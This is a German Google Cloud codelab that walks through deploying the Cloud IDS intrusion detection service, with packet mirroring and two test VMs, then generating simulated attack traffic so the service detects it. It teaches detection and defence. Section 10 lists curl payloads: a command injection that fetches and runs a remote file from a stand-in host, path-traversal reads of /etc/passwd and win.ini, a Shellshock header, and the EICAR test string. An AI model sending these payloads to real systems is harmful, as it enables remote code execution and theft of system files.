1. Einführung
In diesem Lab stellen Sie Cloud IDS bereit, einen modernen Einbruchserkennungsdienst der nächsten Generation, der Bedrohungserkennung bei Einbrüchen, Malware, Spyware und Command-and-Control-Angriffen bietet. Sie simulieren mehrere Angriffe und sehen sich die Bedrohungsdetails in der Cloud Console an.
Lerninhalte
- Cloud IDS-Endpunkt erstellen
- Mit gcloud-Befehlen zwei virtuelle Maschinen erstellen
- Paketspiegelungsrichtlinie erstellen
- Angriffstraffic von einer VM simulieren
- Bedrohungsdetails in der Cloud Console und in Cloud Logging ansehen
Voraussetzungen
- Kenntnisse der grundlegenden Linux-Befehle
2. Cloud IDS-Anwendungsfälle
Cloud IDS ist ein in Google Cloud integrierter Next-Gen-Einbruchserkennungsdienst (Intrusion Detection Service, IDS), mit dem Kunden ihre Anforderungen an die erweiterte Bedrohungserkennung und Compliance wie PCI 11.4 erfüllen können. Der Dienst basiert auf den Bedrohungsschutztechnologien von Palo Alto Networks und bietet eine erweiterte Einbruchserkennung. Die Kombination aus der erstklassigen Infrastruktur von Google Cloud und der erstklassigen Sicherheit von Palo Alto Networks bietet Kunden eine unübertroffene Kombination aus einem vollständig verwalteten, leistungsstarken Dienst zur Erkennung von komplexen Bedrohungen mit höchster Sicherheitseffizienz.
Wenn Kunden in die Cloud migrieren, hat Sicherheit für sie oberste Priorität. Sie möchten ähnliche Sicherheitskontrollen wie in ihren On-Premise-Umgebungen haben, z. B. einen Dienst zur Erkennung von Eindringlingen (Intrusion Detection Service, IDS) in der Cloud. Sie bevorzugen eine cloudnative verwaltete IDS-Lösung, da sie im Vergleich zur Bereitstellung einer Sicherheitslösung eines Drittanbieters und der Verwaltung der Infrastruktur oder der Verwendung eigener Signaturen einfacher bereitzustellen ist, eine hohe Leistung bietet und die Kosten optimiert. Google Cloud IDS bietet einen verwalteten End-to-End-IDS-Dienst mit Autoscaling, mit dem Kunden Zeit für die Analyse und Eindämmung von Bedrohungen gewinnen und Zeit und Ressourcen für die Verwaltung der Infrastruktur oder Bedrohungssignaturen freigeben können.
Cloud IDS wird out-of-band bereitgestellt und kann Bedrohungen erkennen und Benachrichtigungen ausgeben, aber Bedrohungen nicht blockieren. Dabei wird die Paketspiegelung von Google Cloud verwendet, um eine Kopie des Netzwerk-Traffics zu erstellen, die mit der Bedrohungserkennungs-Engine von Palo Alto Networks analysiert wird.
3. Codelab-Topologie

Abbildung 1. Übersicht über die Architektur für die Cloud IDS-Bereitstellung für dieses Lab.
4. Einrichtung und Anforderungen
Umgebung zum selbstbestimmten Lernen einrichten
- Melden Sie sich in der Google Cloud Console an und erstellen Sie ein neues Projekt oder verwenden Sie ein vorhandenes. Wenn Sie noch kein Gmail- oder Google Workspace-Konto haben, müssen Sie eines erstellen.



- Der Projektname ist der Anzeigename für die Teilnehmer dieses Projekts. Es handelt sich um einen String, der nicht von Google APIs verwendet wird und den Sie jederzeit aktualisieren können.
- Die Projekt-ID muss für alle Google Cloud-Projekte eindeutig sein und ist unveränderlich (kann nach der Festlegung nicht mehr geändert werden). In der Cloud Console wird automatisch ein eindeutiger String generiert. Normalerweise ist es nicht wichtig, wie dieser aussieht. In den meisten Codelabs müssen Sie auf die Projekt-ID verweisen (die in der Regel als
PROJECT_IDangegeben wird). Wenn Ihnen die ID nicht gefällt, können Sie eine andere zufällige ID generieren oder eine eigene ID ausprobieren und sehen, ob sie verfügbar ist. Nachdem das Projekt erstellt wurde, wird es „eingefroren“. - Es gibt einen dritten Wert, die Projektnummer, die von einigen APIs verwendet wird. Weitere Informationen zu diesen drei Werten
- Als Nächstes müssen Sie die Abrechnung in der Cloud Console aktivieren, um Cloud-Ressourcen/-APIs verwenden zu können. Die Durchführung dieses Codelabs sollte keine oder nur geringe Kosten verursachen. Wenn Sie Ressourcen herunterfahren möchten, damit nach Abschluss dieses Codelabs keine Gebühren anfallen, folgen Sie den Bereinigungsanweisungen am Ende des Codelabs. Neue Nutzer von Google Cloud kommen für das Programm für kostenlose Testversionen mit einem Guthaben von 300$ infrage.
Cloud Shell starten
Während Sie Google Cloud von Ihrem Laptop aus per Fernzugriff nutzen können, wird in diesem Codelab Google Cloud Shell verwendet, eine Befehlszeilenumgebung, die in der Cloud ausgeführt wird.
Klicken Sie in der GCP Console oben rechts in der Symbolleiste auf das Cloud Shell-Symbol:

Die Bereitstellung und Verbindung mit der Umgebung sollte nur wenige Augenblicke dauern. Anschließend sehen Sie in etwa Folgendes:

Diese virtuelle Maschine verfügt über sämtliche Entwicklertools, die Sie benötigen. Sie bietet ein Basisverzeichnis mit 5 GB nichtflüchtigem Speicher und läuft in Google Cloud, was die Netzwerkleistung und Authentifizierung erheblich verbessert. Für dieses Lab benötigen Sie lediglich einen Browser.
5. Hinweis
APIs aktivieren
Prüfen Sie in Cloud Shell, ob Ihre Projekt-ID eingerichtet ist.
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
Alle erforderlichen Dienste aktivieren
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. VPC-Netzwerk erstellen
VPC-Netzwerk
Über Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Subnetz
Über Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
Private Service Access
Über Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Private Service Connect
Über Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Firewallregeln
Damit IAP eine Verbindung zu Ihren VM-Instanzen herstellen kann, erstellen Sie eine Firewallregel, die:
- Gilt für alle VM-Instanzen, die über IAP zugänglich sein sollen.
- Lässt eingehenden Traffic aus dem IP-Bereich 35.235.240.0/20 zu. Dieser Bereich enthält alle IP-Adressen, die IAP für die TCP-Weiterleitung verwendet.
Über Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
So lassen Sie den Standard-HTTP-Port (TCP 80) und das ICMP-Protokoll für den Server zu:
- Gilt für Ressourcen mit dem Netzwerk-Tag „server“
- Eingehender Traffic von allen Quellen ist zulässig
Über Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Cloud NAT-Instanz erstellen
Cloud Router
Über Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Über Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Cloud IDS-Endpunkt erstellen
In diesem Abschnitt erstellen Sie einen Cloud IDS-Endpunkt in us-east1 mit dem Schweregrad „Informational“. Die Erstellung des IDS-Endpunkts dauert etwa 20 Minuten.
IDS-Endpunkt
Über Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
Prüfen, ob der Cloud IDS-Endpunkt initialisiert wurde
gcloud ids endpoints list --project=$PROJECT_ID
Ausgabe –
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. 2 virtuelle Maschinen erstellen
In diesem Abschnitt erstellen Sie zwei virtuelle Maschinen. Der erste ist Ihr Webserver, der an Cloud IDS gespiegelt wird. Die zweite virtuelle Maschine ist die Quelle für den Angriffs-Traffic.
Virtuelle Maschine 1 (Server)
Über Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Virtuelle Maschine 2 (Client)
Über Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. Server vorbereiten
In dieser Aufgabe validieren Sie Ihren Server und stellen eine harmlose Malware-Payload für Ihren Client bereit.
SSH-Verbindung zur VM über Cloud Shell herstellen
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
Prüfen, ob der Webdienst ausgeführt wird
sudo systemctl status nginx
Ausgabe – prüfen, ob aktiv und wird ausgeführt
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
Verzeichnis zum Webdienst ändern
cd /var/www/html/
Erstellen Sie eine harmlose Malware-Datei auf dem Webserver.
sudo touch eicar.file
Inhalte einfügen
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Zurück zu Cloud Shell
exit
Cloud IDS-Paketspiegelungsrichtlinie erstellen
Suchen Sie die Weiterleitungsregel für den IDS-Endpunkt und prüfen Sie, ob der Status des IDS-Endpunkts „READY“ (BEREIT) ist.
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
Beispielausgabe – Kopieren Sie den Wert aus „endpointForwardingRule“.
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
Speichern Sie die Weiterleitungsregel für den IDS-Endpunkt in einer Variablen.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
Richtlinie für die Paketspiegelung
Über Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
Prüfen, ob die Paketspiegelungsrichtlinie erstellt wurde
Über Cloud Shell
gcloud compute packet-mirrorings list
Ausgabe
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. Angriffs-Traffic simulieren
SSH-Verbindung zur virtuellen Maschine des Angreifers (Client) herstellen
Über Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
Führen Sie die folgenden curl-Anfragen aus, um schädlichen Traffic zu simulieren.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
VM beenden, um zu Cloud Shell zurückzukehren
exit
11. Von Cloud IDS erkannte Bedrohungen prüfen
Cloud IDS-Dashboard aufrufen
Navigationsmenü > Netzwerksicherheit > Cloud IDS

Rufen Sie den Tab „Bedrohungen“ auf.

Wie Sie sehen, hat Cloud IDS verschiedene Angriffstraffic-Profile erfasst und Details zu jeder Bedrohung bereitgestellt. Wenn keine Bedrohungen angezeigt werden, müssen Sie möglicherweise auf die Schaltfläche „Aktualisieren“ klicken. Sehen wir uns nun die Bedrohungsdetails genauer an.
Suchen Sie nach der Bedrohung „Bash Remote Code Execution Vulnerability“ (Bash-Sicherheitslücke für die Ausführung von Remote-Code) und klicken Sie rechts auf die drei Punkte. Wählen Sie dann „View threat details“ (Bedrohungsdetails ansehen) aus.


Sehen wir uns nun die Details dieses Vorfalls in Cloud Logging an. Klicken Sie auf den Pfeil nach links , um zur Seite „Bedrohungen“ zurückzukehren .
Klicken Sie rechts auf das Dreipunkt-Menü und wählen Sie „Bedrohungslogs ansehen“ aus.


Dieselben Details werden an Cloud Logging gesendet. So können Sie die Logs an Cloud Storage, Chronicle oder ein beliebiges SIEM/SOAR senden. Sie können auch benutzerdefinierte Workflows erstellen, um auf Grundlage von Benachrichtigungen Abhilfemaßnahmen zu ergreifen, z.B. eine Cloud-Funktion erstellen, die durch eine Benachrichtigung ausgelöst wird, und eine Firewallregel erstellen/aktualisieren, um die IP-Adresse zu blockieren, oder eine Cloud Armor-Richtlinie erstellen/aktualisieren.
12. Bereinigungsschritte
VM-Instanz beenden (alle Tabs)
exit
Lab-Komponenten über ein einzelnes Cloud Shell-Terminal löschen
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. Glückwunsch!
Herzlichen Glückwunsch zum Abschluss des Codelabs.
Behandelte Themen
- Cloud IDS-Anwendungsfälle
- Netzwerkanforderungen
- Unterstützte APIs
- Cloud IDS-Endpunkt erstellt
- 2 VMs bereitgestellt
- „Angriffs“-Traffic vom Client generiert
- Von IDS erkannte bestätigte Bedrohungen
- Details zu Bedrohungen und Protokolle prüfen